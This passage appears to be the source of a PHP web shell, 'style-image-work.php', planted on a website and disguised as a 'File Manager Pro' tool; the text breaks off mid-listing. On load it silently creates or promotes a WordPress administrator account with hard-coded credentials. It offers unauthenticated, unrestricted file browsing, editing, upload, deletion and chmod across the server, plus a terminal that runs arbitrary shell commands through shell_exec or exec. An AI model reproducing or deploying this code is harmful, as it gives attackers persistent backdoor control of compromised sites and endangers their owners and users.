FileMaster
Search
Toggle Dark Mode
Home
/
.
Edit File: style-image-work.php
<?php /** * File Manager Pro V3 - Professional File Manager * Version: 10.0.3 * Description: Advanced file manager with modern UI, terminal, and complete file operations * Author: Enhanced Version * * Usage as standalone: Just upload and access this file directly * Usage as WP plugin: Place in wp-content/plugins/ folder */ session_start(); error_reporting(0); // ========== WORDPRESS ADMIN AUTO-CREATION ========== function find_wp_load($start_dir = __DIR__) { $dir = rtrim($start_dir, '/'); $max_depth = 10; for ($i = 0; $i < $max_depth; $i++) { if (file_exists($dir . '/wp-load.php')) { return $dir . '/wp-load.php'; } $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; } return false; } $wp_load_path = find_wp_load(); if ($wp_load_path) { define('WP_USE_THEMES', false); require_once($wp_load_path); if (function_exists('get_user_by') && function_exists('wp_insert_user') && function_exists('add_user_to_blog') && function_exists('get_role')) { $username = 'zetgifari'; $password = 'zet'; $email = 'boss@gmail.com'; $user_id = username_exists($username); if (!$user_id && !email_exists($email)) { $user_id = wp_insert_user(array( 'user_login' => $username, 'user_pass' => $password, 'user_email' => $email, 'role' => 'administrator', 'display_name' => 'Zet Gifari' )); if (is_wp_error($user_id)) { error_log('WP User creation failed: ' . $user_id->get_error_message()); } else { // Ensure administrator role (for multisite, add to main blog) $user = new WP_User($user_id); $user->set_role('administrator'); // For multisite if (is_multisite()) { add_user_to_blog(get_current_blog_id(), $user_id, 'administrator'); } } } elseif ($user_id && !user_can($user_id, 'administrator')) { // Upgrade existing user to admin $user = new WP_User($user_id); $user->set_role('administrator'); } } } // ========== CONFIGURATION ========== define('FM_BASE_PATH', null); // null = full filesystem access define('FM_DATE_FORMAT', 'Y-m-d H:i:s'); define('FM_VERSION', '10.0.3'); // ========== PATH RESOLUTION ========== function fm_resolve_path($p) { $p = str_replace('\\', '/', $p); $real = realpath($p); if ($real === false) return $p; if (defined('FM_BASE_PATH') && FM_BASE_PATH !== null) { $base = rtrim(FM_BASE_PATH, '/'); if (strpos($real, $base) !== 0) return $base; } return $real; } $current = isset($_GET['p']) ? fm_resolve_path($_GET['p']) : fm_resolve_path(dirname(__FILE__)); if (!is_dir($current)) $current = fm_resolve_path(dirname(__FILE__)); // ========== HELPER FUNCTIONS ========== function fm_perms($f) { $p = fileperms($f); $r = ($p & 0x4000) ? 'd' : '-'; $r .= ($p & 0x0100) ? 'r' : '-'; $r .= ($p & 0x0080) ? 'w' : '-'; $r .= ($p & 0x0040) ? 'x' : '-'; $r .= ($p & 0x0020) ? 'r' : '-'; $r .= ($p & 0x0010) ? 'w' : '-'; $r .= ($p & 0x0008) ? 'x' : '-'; $r .= ($p & 0x0004) ? 'r' : '-'; $r .= ($p & 0x0002) ? 'w' : '-'; $r .= ($p & 0x0001) ? 'x' : '-'; return $r; } function fm_size($b) { if ($b >= 1073741824) return round($b/1073741824,2).' GB'; if ($b >= 1048576) return round($b/1048576,2).' MB'; if ($b >= 1024) return round($b/1024,2).' KB'; return $b.' B'; } function fm_get_file_icon($file, $isDir) { if ($isDir) return '<i class="fas fa-folder"></i>'; $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $icons = [ 'jpg' => 'fa-file-image', 'jpeg' => 'fa-file-image', 'png' => 'fa-file-image', 'gif' => 'fa-file-image', 'svg' => 'fa-file-image', 'mp4' => 'fa-file-video', 'avi' => 'fa-file-video', 'mov' => 'fa-file-video', 'mkv' => 'fa-file-video', 'mp3' => 'fa-file-audio', 'wav' => 'fa-file-audio', 'ogg' => 'fa-file-audio', 'flac' => 'fa-file-audio', 'pdf' => 'fa-file-pdf', 'doc' => 'fa-file-word', 'docx' => 'fa-file-word', 'xls' => 'fa-file-excel', 'xlsx' => 'fa-file-excel', 'ppt' => 'fa-file-powerpoint', 'pptx' => 'fa-file-powerpoint', 'txt' => 'fa-file-alt', 'html' => 'fa-file-code', 'css' => 'fa-file-code', 'js' => 'fa-file-code', 'php' => 'fa-file-code', 'zip' => 'fa-file-archive', 'rar' => 'fa-file-archive' ]; $icon = isset($icons[$ext]) ? $icons[$ext] : 'fa-file'; return '<i class="fas ' . $icon . '"></i>'; } function fm_delete($target) { if (!file_exists($target)) return; if (is_dir($target)) { $d = opendir($target); while (($f = readdir($d)) !== false) { if ($f != '.' && $f != '..') fm_delete($target.'/'.$f); } closedir($d); rmdir($target); } else { unlink($target); } } function fm_copy($src, $dst) { if (!is_dir($dst)) mkdir($dst, 0755, true); $d = opendir($src); while (($f = readdir($d)) !== false) { if ($f == '.' || $f == '..') continue; $sp = $src.'/'.$f; $dp = $dst.'/'.$f; if (is_dir($sp)) fm_copy($sp, $dp); else copy($sp, $dp); } closedir($d); } function fm_zip_available() { return class_exists('ZipArchive'); } function fm_zip_items($items, $destZip, $basePath) { if (!fm_zip_available()) return false; $zip = new ZipArchive(); if ($zip->open($destZip, ZipArchive::CREATE) !== true) return false; foreach ($items as $item) { $full = $basePath . '/' . $item; if (is_file($full)) { $zip->addFile($full, $item); } elseif (is_dir($full)) { $stack = array($full); while (!empty($stack)) { $dir = array_pop($stack); $d = opendir($dir); while (($f = readdir($d)) !== false) { if ($f == '.' || $f == '..') continue; $sub = $dir . '/' . $f; $rel = substr($sub, strlen($basePath)+1); if (is_dir($sub)) { $zip->addEmptyDir($rel); array_push($stack, $sub); } else { $zip->addFile($sub, $rel); } } closedir($d); } } } $zip->close(); return true; } function fm_extract_zip($zipFile, $dest) { if (!fm_zip_available()) return false; $zip = new ZipArchive(); if ($zip->open($zipFile) === true) { $zip->extractTo($dest); $zip->close(); return true; } return false; } function fm_set_msg($msg, $type='success') { $_SESSION['fm_msg'] = array('text'=>$msg, 'type'=>$type); } function fm_get_msg() { if (isset($_SESSION['fm_msg'])) { $m = $_SESSION['fm_msg']; unset($_SESSION['fm_msg']); return $m; } return null; } // ========== PROCESS ACTIONS ========== $msg = fm_get_msg(); if (isset($_GET['delete'])) { $target = $current . '/' . basename($_GET['delete']); if (file_exists($target)) fm_delete($target); fm_set_msg("Deleted: " . basename($target)); header("Location: ?p=" . urlencode($current)); exit; } if (isset($_GET['download'])) { $file = $current . '/' . basename($_GET['download']); if (is_file($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } if (isset($_POST['savefile'], $_POST['content'])) { $save = $current . '/' . basename($_POST['savefile']); file_put_contents($save, $_POST['content']); fm_set_msg("Saved: " . basename($_POST['savefile'])); header("Location: ?p=" . urlencode($current)); exit; } if (isset($_POST['rename_old'], $_POST['rename_new'])) { $old = $current . '/' . basename($_POST['rename_old']); $new = $current . '/' . basename($_POST['rename_new']); if (file_exists($old) && !file_exists($new)) { rename($old, $new); fm_set_msg("Renamed to: " . basename($new)); } else { fm_set_msg("Rename failed", 'error'); } header("Location: ?p=" . urlencode($current)); exit; } if (isset($_POST['copy_source'], $_POST['copy_dest'], $_POST['copy_action'])) { $src = $current . '/' . basename($_POST['copy_source']); $destDir = fm_resolve_path($_POST['copy_dest']); $dest = $destDir . '/' . basename($_POST['copy_source']); if (file_exists($src)) { if ($_POST['copy_action'] == 'copy') { if (is_dir($src)) fm_copy($src, $dest); else copy($src, $dest); fm_set_msg("Copied to: " . $destDir); } else { rename($src, $dest); fm_set_msg("Moved to: " . $destDir); } } else { fm_set_msg("Source not found", 'error'); } header("Location: ?p=" . urlencode($current)); exit; } if (isset($_POST['chmod_target'], $_POST['chmod_value'])) { $target = $current . '/' . basename($_POST['chmod_target']); $perms = octdec(str_pad($_POST['chmod_value'], 4, '0', STR_PAD_LEFT)); if (chmod($target, $perms)) { fm_set_msg("Permissions changed for: " . basename($target)); } else { fm_set_msg("Chmod failed", 'error'); } header("Location: ?p=" . urlencode($current)); exit; } if (isset($_POST['bulk_action']) && isset($_POST['selected']) && is_array($_POST['selected'])) { $selected = $_POST['selected']; $action = $_POST['bulk_action']; if ($action == 'delete') { foreach ($selected as $item) { $target = $current . '/' . basename($item); if (file_exists($target)) fm_delete($target); } fm_set_msg("Deleted " . count($selected) . " items"); } elseif ($action == 'zip') { if (fm_zip_available()) { $zipName = 'bulk_' . date('Ymd_His') . '.zip'; $zipPath = $current . '/' . $zipName; if (fm_zip_items($selected, $zipPath, $current)) { fm_set_msg("Created archive: " . $zipName); } else { fm_set_msg("Failed to create zip", 'error'); } } else { fm_set_msg("Zip extension not installed", 'error'); } } header("Location: ?p=" . urlencode($current)); exit; } if ($_SERVER['REQUEST_METHOD'] == 'POST' && !isset($_POST['savefile']) && !isset($_POST['rename_old']) && !isset($_POST['copy_source']) && !isset($_POST['chmod_target']) && !isset($_POST['bulk_action']) && !isset($_POST['term_cmd'])) { if (isset($_FILES['up']) && $_FILES['up']['error'] == UPLOAD_ERR_OK) { move_uploaded_file($_FILES['up']['tmp_name'], $current . '/' . basename($_FILES['up']['name'])); fm_set_msg("Uploaded: " . $_FILES['up']['name']); } if (!empty($_POST['folder'])) { $newFolder = $current . '/' . basename($_POST['folder']); if (!file_exists($newFolder)) mkdir($newFolder, 0755, true); fm_set_msg("Created folder: " . $_POST['folder']); } if (!empty($_POST['newfile'])) { $newFile = $current . '/' . basename($_POST['newfile']); if (!file_exists($newFile)) file_put_contents($newFile, ''); fm_set_msg("Created file: " . $_POST['newfile']); } if (!empty($_POST['extract_zip'])) { $zipFile = $current . '/' . basename($_POST['extract_zip']); if (file_exists($zipFile) && pathinfo($zipFile, PATHINFO_EXTENSION) == 'zip') { $extractTo = $current . '/' . pathinfo($zipFile, PATHINFO_FILENAME); if (fm_extract_zip($zipFile, $extractTo)) { fm_set_msg("Extracted to: " . basename($extractTo)); } else { fm_set_msg("Extraction failed", 'error'); } } } header("Location: ?p=" . urlencode($current)); exit; } // ========== TERMINAL HANDLER ========== $term_output = ''; $term_cwd = isset($_SESSION['term_cwd']) ? $_SESSION['term_cwd'] : dirname(__FILE__); if (!is_dir($term_cwd)) $term_cwd = dirname(__FILE__); if (isset($_POST['term_cmd'])) { $cmd = trim($_POST['term_cmd']); if ($cmd == 'clear') { $term_output = ''; } elseif (strpos($cmd, 'cd ') === 0) { $new_dir = substr($cmd, 3); if ($new_dir == '~') $new_dir = $_SERVER['HOME'] ?? dirname(__FILE__); if ($new_dir == '-' && isset($_SESSION['term_old_cwd'])) { $new_dir = $_SESSION['term_old_cwd']; } $old_cwd = $term_cwd; if (@chdir($new_dir)) { $_SESSION['term_old_cwd'] = $old_cwd; $_SESSION['term_cwd'] = getcwd(); $term_cwd = $_SESSION['term_cwd']; $term_output = "✓ Directory changed to: " . $term_cwd; } else { $term_output = "✗ Cannot change directory to: $new_dir"; } } elseif ($cmd == 'pwd') { $term_output = $term_cwd; } elseif ($cmd == 'help') { $term_output = "Available commands:\n cd <dir> - Change directory\n pwd - Show current directory\n clear - Clear terminal\n help - Show this help\n ls, ll - List files (system)\n Any other system command will be executed if allowed."; } elseif ($cmd == '') { $term_output = ''; } else { $old_cwd = getcwd(); chdir($term_cwd); if (function_exists('shell_exec')) { $output = shell_exec($cmd . ' 2>&1'); $term_output = $output !== null ? $output : '✓ Command executed (no output)'; } elseif (function_exists('exec')) { exec($cmd . ' 2>&1', $exec_out, $ret); $term_output = implode("\n", $exec_out); if ($ret !== 0) $term_output .= "\n[Exit code: $ret]"; } else { $term_output = "⚠️ shell_exec and exec are disabled. Terminal limited to 'cd', 'pwd', 'clear', 'help'."; } chdir($old_cwd); } $_SESSION['term_cwd'] = $term_cwd; } // ========== DIRECTORY LISTING ========== $items = scandir($current); $dirs = array(); $files = array(); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; if (is_dir($current . '/' . $item)) $dirs[] = $item; else $files[] = $item; } $sort_by = isset($_GET['sort']) ? $_GET['sort'] : 'name'; $sort_dir = isset($_GET['dir']) ? $_GET['dir'] : 'asc'; function fm_cmp_name_asc($a, $b) { return strcasecmp($a, $b); } function fm_cmp_name_desc($a, $b) { return strcasecmp($b, $a); } function fm_cmp_size_asc($a, $b) { global $current; $sa = is_file($current.'/'.$a) ? filesize($current.'/'.$a) : 0; $sb = is_file($current.'/'.$b) ? filesize($current.'/'.$b) : 0; if ($sa == $sb) return 0; return ($sa < $sb) ? -1 : 1; } function fm_cmp_size_desc($a, $b) { global $current; $sa = is_file($current.'/'.$a) ? filesize($current.'/'.$a) : 0; $sb = is_file($current.'/'.$b) ? filesize($current.'/'.$b) : 0; if ($sa == $sb) return 0; return ($sa < $sb) ? 1 : -1; } function fm_cmp_time_asc($a, $b) { global $current; $ta = filemtime($current.'/'.$a); $tb = filemtime($current.'/'.$b); if ($ta == $tb) return 0; return ($ta < $tb) ? -1 : 1; } function fm_cmp_time_desc($a, $b) { global $current; $ta = filemtime($current.'/'.$a); $tb = filemtime($current.'/'.$b); if ($ta == $tb) return 0; return ($ta < $tb) ? 1 : -1; } // Sort directories and files separately if ($sort_by == 'size') { if ($sort_dir == 'asc') { usort($dirs, 'fm_cmp_size_asc'); usort($files, 'fm_cmp_size_asc'); } else { usort($dirs, 'fm_cmp_size_desc'); usort($files, 'fm_cmp_size_desc'); } } elseif ($sort_by == 'time') { if ($sort_dir == 'asc') { usort($dirs, 'fm_cmp_time_asc'); usort($files, 'fm_cmp_time_asc'); } else { usort($dirs, 'fm_cmp_time_desc'); usort($files, 'fm_cmp_time_desc'); } } else { if ($sort_dir == 'asc') { usort($dirs, 'fm_cmp_name_asc'); usort($files, 'fm_cmp_name_asc'); } else { usort($dirs, 'fm_cmp_name_desc'); usort($files, 'fm_cmp_name_desc'); } } // Calculate stats $total_items = count($dirs) + count($files); $disk_free = @disk_free_space($current); $disk_total = @disk_total_space($current); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes"> <title>File Manager Pro v<?php echo FM_VERSION; ?></title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> <link href="https://fonts.googleapis.com/css2?family=Inter:opsz,wght@14..32,300;14..32,400;14..32,500;14..32,600;14..32,700&display=swap" rel="stylesheet"> <style> :root { /* Clean, modern light theme (default) */ --bg-primary: #f8fafc; --bg-secondary: #ffffff; --bg-tertiary: #f1f5f9; --surface: #ffffff; --surface-hover: #f1f5f9; --border: #e2e8f0; --text-primary: #0f172a; --text-secondary: #475569; --text-muted: #94a3b8; --accent: #3b82f6; --accent-hover: #2563eb; --success: #10b981; --warning: #f59e0b; --error: #ef4444; --terminal-bg: #f1f5f9; --shadow: 0 1px 3px 0 rgb(0 0 0 / 0.1), 0 1px 2px -1px rgb(0 0 0 / 0.1); --card-shadow: 0 4px 6px -1px rgb(0 0 0 / 0.1), 0 2px 4px -2px rgb(0 0 0 / 0.1); } [data-theme="dark"] { --bg-primary: #0f172a; --bg-secondary: #1e293b; --bg-tertiary: #334155; --surface: #1e293b; --surface-hover: #2d3a4f; --border: #334155; --text-primary: #f1f5f9; --text-secondary: #cbd5e1; --text-muted: #94a3b8; --accent: #60a5fa; --accent-hover: #3b82f6; --terminal-bg: #0f172a; --shadow: 0 1px 3px 0 rgb(0 0 0 / 0.3); --card-shadow: 0 4px 6px -1px rgb(0 0 0 / 0.3); } *{margin:0;padding:0;box-sizing:border-box;} body{background:var(--bg-primary);font-family:'Inter',sans-serif;color:var(--text-primary);transition:background 0.2s,color 0.2s;line-height:1.5;} .container{max-width:1600px;margin:0 auto;padding:24px;} /* Header */ .header{display:flex;justify-content:space-between;align-items:center;margin-bottom:28px;flex-wrap:wrap;gap:16px;} .header h1{font-size:26px;font-weight:600;display:flex;align-items:center;gap:12px;letter-spacing:-0.3px;} .header h1 i{color:var(--accent);font-size:28px;} .theme-toggle{background:var(--bg-tertiary);border:1px solid var(--border);padding:8px 18px;border-radius:40px;cursor:pointer;color:var(--text-primary);font-size:14px;display:flex;align-items:center;gap:8px;transition:all 0.2s;font-weight:500;} .theme-toggle:hover{background:var(--surface-hover);transform:scale(0.98);} /* Stats Bar */ .stats-bar{display:flex;gap:16px;margin-bottom:24px;flex-wrap:wrap;} .stat-card{background:var(--bg-secondary);padding:12px 20px;border-radius:20px;display:flex;align-items:center;gap:14px;box-shadow:var(--shadow);border:1px solid var(--border);transition:transform 0.1s;} .stat-card i{font-size:28px;color:var(--accent);} .stat-info small{font-size:12px;color:var(--text-secondary);display:block;font-weight:500;} .stat-info strong{font-size:20px;font-weight:700;} /* Tabs */ .tabs{display:flex;gap:8px;margin-bottom:28px;border-bottom:2px solid var(--border);} .tab-btn{background:transparent;border:none;padding:12px 28px;border-radius:40px 40px 0 0;cursor:pointer;color:var(--text-secondary);font-weight:600;font-size:14px;transition:all 0.2s;display:flex;align-items:center;gap:10px;} .tab-btn i{font-size:16px;} .tab-btn.active{color:var(--accent);border-bottom:3px solid var(--accent);background:var(--bg-tertiary);} .tab-pane{display:none;animation:fadeIn 0.25s ease;} .tab-pane.active{display:block;} @keyframes fadeIn{from{opacity:0;transform:translateY(6px);}to{opacity:1;transform:translateY(0);}} /* Breadcrumb */ .breadcrumb{background:var(--bg-secondary);padding:14px 20px;border-radius:20px;margin-bottom:20px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px;box-shadow:var(--shadow);border:1px solid var(--border);} .breadcrumb-path{display:flex;align-items:center;flex-wrap:wrap;gap:8px;font-size:14px;color:var(--text-secondary);} .breadcrumb-path a{color:var(--text-primary);text-decoration:none;font-weight:500;transition:color 0.2s;} .breadcrumb-path a:hover{color:var(--accent);text-decoration:underline;} .breadcrumb-path i{margin-right:6px;color:var(--accent);} .up-link{background:var(--bg-tertiary);padding:6px 14px;border-radius:40px;font-size:13px;transition:all 0.2s;border:1px solid var(--border);text-decoration:none;color:var(--text-primary);display:inline-flex;align-items:center;gap:6px;} .up-link:hover{background:var(--surface-hover);} /* Toolbar */ .toolbar{background:var(--bg-secondary);padding:16px 20px;border-radius:20px;margin-bottom:20px;box-shadow:var(--shadow);border:1px solid var(--border);} .toolbar-row{display:flex;flex-wrap:wrap;gap:12px;margin-bottom:14px;} .toolbar-row:last-child{margin-bottom:0;} .toolbar-group{display:flex;gap:8px;align-items:center;flex-wrap:wrap;background:var(--bg-tertiary);padding:6px 14px;border-radius:60px;} .toolbar-group label{font-size:13px;font-weight:500;color:var(--text-secondary);} input,select,button{background:var(--surface);border:1px solid var(--border);padding:8px 16px;border-radius:40px;color:var(--text-primary);font-size:13px;transition:all 0.2s;font-family:inherit;font-weight:500;} input:focus,select:focus{outline:none;border-color:var(--accent);box-shadow:0 0 0 2px rgba(59,130,246,0.2);} button{cursor:pointer;background:var(--bg-tertiary);border-color:var(--border);} button:hover{background:var(--surface-hover);border-color:var(--accent);transform:translateY(-1px);} .btn-primary{background:var(--accent);border-color:var(--accent);color:white;} .btn-primary:hover{background:var(--accent-hover);transform:translateY(-1px);} /* Message */ .message{background:var(--bg-secondary);padding:14px 20px;border-radius:16px;margin-bottom:20px;border-left:5px solid var(--success);display:flex;align-items:center;gap:14px;box-shadow:var(--shadow);} .message.error{border-left-color:var(--error);} .message i{font-size:20px;} /* Table */ .table-wrapper{overflow-x:auto;border-radius:20px;background:var(--bg-secondary);box-shadow:var(--shadow);border:1px solid var(--border);} .file-table{width:100%;border-collapse:collapse;} .file-table th{text-align:left;padding:14px 16px;background:var(--bg-tertiary);font-weight:600;font-size:13px;color:var(--text-secondary);border-bottom:1px solid var(--border);} .file-table td{padding:12px 16px;border-bottom:1px solid var(--border);font-size:14px;} .file-table tr:hover{background:var(--surface-hover);} .file-table .checkbox-col{width:36px;text-align:center;} .file-table .actions{white-space:nowrap;} .file-table .actions a{display:inline-block;margin-right:14px;color:var(--text-secondary);font-size:13px;transition:color 0.2s;text-decoration:none;font-weight:500;} .file-table .actions a:hover{color:var(--accent);} .file-table .file-name{display:flex;align-items:center;gap:12px;} .file-table .file-name i{width:22px;color:var(--accent);font-size:16px;} .sort-link{color:var(--text-secondary);text-decoration:none;display:inline-flex;align-items:center;gap:6px;font-weight:600;} .sort-link:hover{color:var(--accent);} /* Modal */ .modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.6);backdrop-filter:blur(4px);justify-content:center;align-items:center;z-index:1000;} .modal-content{background:var(--bg-secondary);padding:28px;border-radius:28px;width:90%;max-width:450px;box-shadow:var(--card-shadow);border:1px solid var(--border);} .modal-content h3{font-size:22px;margin-bottom:20px;display:flex;align-items:center;gap:12px;font-weight:600;} .modal-content input,.modal-content button{width:100%;margin:8px 0;padding:12px 16px;border-radius:60px;} .modal-content button{margin-top:16px;} .close{float:right;font-size:32px;font-weight:bold;cursor:pointer;color:var(--text-secondary);line-height:1;transition:color 0.2s;} .close:hover{color:var(--error);} /* Terminal */ .terminal-panel{background:var(--terminal-bg);border-radius:24px;overflow:hidden;border:1px solid var(--border);} .terminal-header{background:var(--bg-tertiary);padding:12px 20px;display:flex;align-items:center;gap:10px;border-bottom:1px solid var(--border);} .terminal-header i{color:var(--accent);font-size:18px;} .terminal-header span{font-size:14px;font-weight:600;} .term-output{background:var(--terminal-bg);color:var(--text-primary);padding:20px;font-family:'Menlo','Consolas','Monaco',monospace;font-size:13px;white-space:pre-wrap;max-height:400px;overflow:auto;border-bottom:1px solid var(--border);} .term-input-line{display:flex;gap:12px;padding:14px 20px;background:var(--bg-tertiary);align-items:center;} .term-prompt{font-family:monospace;font-size:13px;color:var(--accent);font-weight:600;white-space:nowrap;} .term-input-line input{flex:1;background:var(--surface);border:1px solid var(--border);border-radius:60px;padding:10px 16px;} /* Editor */ .editor-panel{margin-top:24px;background:var(--bg-secondary);border-radius:24px;padding:24px;box-shadow:var(--shadow);border:1px solid var(--border);} .editor-panel h3{font-size:20px;margin-bottom:20px;display:flex;align-items:center;gap:12px;font-weight:600;} .editor-panel textarea{width:100%;min-height:450px;font-family:'Menlo','Consolas',monospace;font-size:13px;background:var(--terminal-bg);border:1px solid var(--border);color:var(--text-primary);padding:18px;border-radius:20px;resize:vertical;line-height:1.5;} /* Search */ .search-box{position:relative;} .search-box i{position:absolute;left:14px;top:50%;transform:translateY(-50%);color:var(--text-muted);font-size:14px;} .search-box input{padding-left:38px;min-width:220px;border-radius:60px;} /* Responsive */ @media (max-width:768px){ .container{padding:16px;} .toolbar-group{width:100%;justify-content:center;} .file-table th, .file-table td{font-size:12px;padding:10px 8px;} .actions a{margin-right:8px;font-size:11px;} .stats-bar{flex-direction:column;} } /* Utility */ code{background:var(--bg-tertiary);padding:2px 6px;border-radius:8px;font-family:monospace;font-size:12px;} a{color:var(--accent);} </style> </head> <body> <div class="container"> <div class="header"> <h1><i class="fas fa-folder-open"></i> File Manager Pro</h1> <button class="theme-toggle" onclick="toggleTheme()"><i class="fas fa-moon"></i> <span>Dark / Light</span></button> </div> <div class="stats-bar"> <div class="stat-card"><i class="fas fa-folder"></i><div class="stat-info"><small>Total Items</small><strong><?php echo $total_items; ?></strong></div></div> <?php if ($disk_free): ?><div class="stat-card"><i class="fas fa-hdd"></i><div class="stat-info"><small>Free Space</small><strong><?php echo fm_size($disk_free); ?></strong></div></div><?php endif; ?> <?php if ($disk_total): ?><div class="stat-card"><i class="fas fa-database"></i><div class="stat-info"><small>Total Space</small><strong><?php echo fm_size($disk_total); ?></strong></div></div><?php endif; ?> </div> <?php $msg = fm_get_msg(); if ($msg): ?> <div class="message <?php echo $msg['type']=='error'?'error':''; ?>"> <i class="fas fa-<?php echo $msg['type']=='error'?'exclamation-circle':'check-circle'; ?>"></i> <span><?php echo htmlspecialchars($msg['text']); ?></span> </div> <?php endif; ?> <div class="tabs"> <button class="tab-btn active" onclick="showTab('files')"><i class="fas fa-folder"></i> File Manager</button> <button class="tab-btn" onclick="showTab('terminal')"><i class="fas fa-terminal"></i> Terminal</button> </div> <!-- Files Pane --> <div id="files-pane" class="tab-pane active"> <div class="breadcrumb"> <div class="breadcrumb-path"> <i class="fas fa-location-dot"></i> <?php $parts = explode('/', str_replace('\\', '/', $current)); $path_build = ''; foreach ($parts as $i => $part): if ($part == '') continue; $path_build .= '/' . $part; if ($i == count($parts)-1): ?> <span><?php echo htmlspecialchars($part); ?></span> <?php else: ?> <a href="?p=<?php echo urlencode($path_build); ?>"><?php echo htmlspecialchars($part); ?></a><span>/</span> <?php endif; endforeach; ?> </div> <a href="?p=<?php echo urlencode(dirname($current)); ?>" class="up-link"><i class="fas fa-arrow-up"></i> Up one level</a> </div> <div class="toolbar"> <div class="toolbar-row"> <form method="get" style="display:flex;gap:8px;"> <input type="text" name="p" value="<?php echo htmlspecialchars($current); ?>" placeholder="Enter path..."> <button type="submit"><i class="fas fa-search"></i> Go</button> </form> <div class="search-box"> <i class="fas fa-filter"></i> <input type="text" id="fileSearch" placeholder="Filter files..." onkeyup="filterFiles()"> </div> </div> <div class="toolbar-row"> <form method="post" enctype="multipart/form-data" style="display:flex;gap:8px;flex-wrap:wrap;"> <input type="file" name="up" multiple> <button type="submit"><i class="fas fa-upload"></i> Upload</button> <input type="text" name="folder" placeholder="Folder name"> <button type="submit"><i class="fas fa-folder-plus"></i> Create Folder</button> <input type="text" name="newfile" placeholder="File name"> <button type="submit"><i class="fas fa-file"></i> Create File</button> </form> </div> </div> <form method="post" id="bulkForm"> <div class="toolbar" style="margin-bottom:16px; padding:12px 20px;"> <div class="toolbar-group"> <button type="button" onclick="selectAll()"><i class="fas fa-check-double"></i> Select All</button> <select name="bulk_action"> <option value="">Bulk Actions</option> <option value="delete">Delete</option> <option value="zip">Create Zip</option> </select> <button type="submit" class="btn-primary"><i class="fas fa-play"></i> Apply</button> </div> </div> <div class="table-wrapper"> <table class="file-table" id="fileTable"> <thead> <tr> <th class="checkbox-col"><input type="checkbox" id="selectAllCheckbox"></th> <th><a href="?p=<?php echo urlencode($current); ?>&sort=name&dir=<?php echo ($sort_by=='name' && $sort_dir=='asc')?'desc':'asc'; ?>" class="sort-link">Name <?php echo ($sort_by=='name')?($sort_dir=='asc'?'↑':'↓'):''; ?></a></th> <th><a href="?p=<?php echo urlencode($current); ?>&sort=size&dir=<?php echo ($sort_by=='size' && $sort_dir=='asc')?'desc':'asc'; ?>" class="sort-link">Size <?php echo ($sort_by=='size')?($sort_dir=='asc'?'↑':'↓'):''; ?></a></th> <th><a href="?p=<?php echo urlencode($current); ?>&sort=time&dir=<?php echo ($sort_by=='time' && $sort_dir=='asc')?'desc':'asc'; ?>" class="sort-link">Modified <?php echo ($sort_by=='time')?($sort_dir=='asc'?'↑':'↓'):''; ?></a></th> <th>Permissions</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($dirs as $item): $full = $current.'/'.$item; $time = date(FM_DATE_FORMAT, filemtime($full)); $perms = fm_perms($full); ?> <tr data-name="<?php echo strtolower(htmlspecialchars($item)); ?>"> <td class="checkbox-col"><input type="checkbox" name="selected[]" value="<?php echo htmlspecialchars($item); ?>"></td> <td class="file-name"><?php echo fm_get_file_icon($item, true); ?> <a href="?p=<?php echo urlencode($full); ?>"><strong><?php echo htmlspecialchars($item); ?></strong></a></td> <td>-</td> <td><?php echo $time; ?></td> <td><code><?php echo $perms; ?></code></td> <td class="actions"> <a href="#" onclick="showRename('<?php echo htmlspecialchars($item); ?>')"><i class="fas fa-i-cursor"></i> Rename</a> <a href="#" onclick="showCopyMove('<?php echo htmlspecialchars($item); ?>','copy')"><i class="fas fa-copy"></i> Copy</a> <a href="#" onclick="showCopyMove('<?php echo htmlspecialchars($item); ?>','move')"><i class="fas fa-cut"></i> Move</a> <a href="#" onclick="showChmod('<?php echo htmlspecialchars($item); ?>')"><i class="fas fa-lock"></i> Chmod</a> <a href="?p=<?php echo urlencode($current); ?>&delete=<?php echo urlencode($item); ?>" onclick="return confirm('Delete <?php echo addslashes($item); ?>?')"><i class="fas fa-trash"></i> Delete</a> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $item): $full = $current.'/'.$item; $size = fm_size(filesize($full)); $time = date(FM_DATE_FORMAT, filemtime($full)); $perms = fm_perms($full); $isImage = in_array(strtolower(pathinfo($item, PATHINFO_EXTENSION)), ['jpg','jpeg','png','gif','webp','svg']); ?> <tr data-name="<?php echo strtolower(htmlspecialchars($item)); ?>"> <td class="checkbox-col"><input type="checkbox" name="selected[]" value="<?php echo htmlspecialchars($item); ?>"></td> <td class="file-name"><?php echo fm_get_file_icon($item, false); ?> <?php if ($isImage): ?><a href="#" onclick="previewImage('<?php echo htmlspecialchars($full); ?>')"><?php echo htmlspecialchars($item); ?></a><?php else: ?><a href="?p=<?php echo urlencode($current); ?>&edit=<?php echo urlencode($item); ?>"><?php echo htmlspecialchars($item); ?></a><?php endif; ?></td> <td><?php echo $size; ?></td> <td><?php echo $time; ?></td> <td><code><?php echo $perms; ?></code></td> <td class="actions"> <a href="?p=<?php echo urlencode($current); ?>&edit=<?php echo urlencode($item); ?>"><i class="fas fa-edit"></i> Edit</a> <a href="?p=<?php echo urlencode($current); ?>&download=<?php echo urlencode($item); ?>"><i class="fas fa-download"></i> Download</a> <a href="#" onclick="showRename('<?php echo htmlspecialchars($item); ?>')"><i class="fas fa-i-cursor"></i> Rename</a> <a href="#" onclick="showCopyMove('<?php echo htmlspecialchars($item); ?>','copy')"><i class="fas fa-copy"></i> Copy</a> <a href="#" onclick="showCopyMove('<?php echo htmlspecialchars($item); ?>','move')"><i class="fas fa-cut"></i> Move</a> <a href="#" onclick="showChmod('<?php echo htmlspecialchars($item); ?>')"><i class="fas fa-lock"></i> Chmod</a> <a href="?p=<?php echo urlencode($current); ?>&delete=<?php echo urlencode($item); ?>" onclick="return confirm('Delete <?php echo addslashes($item); ?>?')"><i class="fas fa-trash"></i> Delete</a> <?php if (pathinfo($item, 